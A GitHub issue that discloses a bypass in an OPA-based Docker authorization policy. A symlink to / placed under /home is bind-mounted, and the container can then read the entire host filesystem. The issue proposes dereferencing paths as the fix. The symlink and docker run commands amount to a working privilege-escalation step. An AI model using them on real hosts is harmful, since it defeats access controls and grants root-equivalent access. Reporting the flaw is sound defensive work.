Skip to content

Limiting HostConfig.Binds and HostConfig.Mounts is extremely easy to defeat #34

Open
@bviktor

Description

@bviktor

Consider this policy:

package docker.authz

default allow = false

allow
{
    valid_bind_mapping_whitelist = true
    valid_mount_mapping_whitelist = true
}

# prohibit access to the host file system outside /home
# which would essentially grant root privileges to the user

valid_host_path_prefixes = {"home/"}

# binds
# `docker run -v /:/host-root`

host_bind_paths[trimmed]
{
    input.Body.HostConfig.Binds[_] = bind
    split(bind, ":", parts)
    trim(parts[0], "/", trimmed)
}

valid_host_bind_paths[host_path]
{
    host_bind_paths[host_path]
    startswith(host_path, valid_host_path_prefixes[_])
}

valid_bind_mapping_whitelist
{
    invalid_paths = host_bind_paths - valid_host_bind_paths
    count(invalid_paths, 0)
}

# bind mounts
# `docker run --mount type=bind,source=/,target=/host-root`

host_mount_paths[trimmed]
{
    input.Body.HostConfig.Mounts[_] = mount
    trim(mount.Source, "/", trimmed)
}

valid_host_mount_paths[host_path]
{
    host_mount_paths[host_path]
    startswith(host_path, valid_host_path_prefixes[_])
}

valid_mount_mapping_whitelist
{
    invalid_paths = host_mount_paths - valid_host_mount_paths
    count(invalid_paths, 0)
}

Now run this command:

$ docker run -it --mount type=bind,source=/,target=/host-root ubuntu bash
docker: Error response from daemon: authorization denied by plugin openpolicyagent/opa-docker-authz-v2:0.5: request rejected by administrative policy.
See 'docker run --help'.

All is well. Right? No, not quite.

$ mkdir ~/root
$ ln -s / ~/root
$ docker run -it --mount type=bind,source=/home/bviktor/root,target=/host-root ubuntu bash
root@d6dbce5be851:/# ls host-root/
bin   dev  home        initrd.img.old  lib32  lost+found  mnt  proc  run   snap  sys  usr  vmlinuz
boot  etc  initrd.img  lib             lib64  media       opt  root  sbin  srv   tmp  var  vmlinuz.old

Wow, just wow.

So, the solution seems obvious: dereference all paths defined on the command-line before running the AuthZ checks on them.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions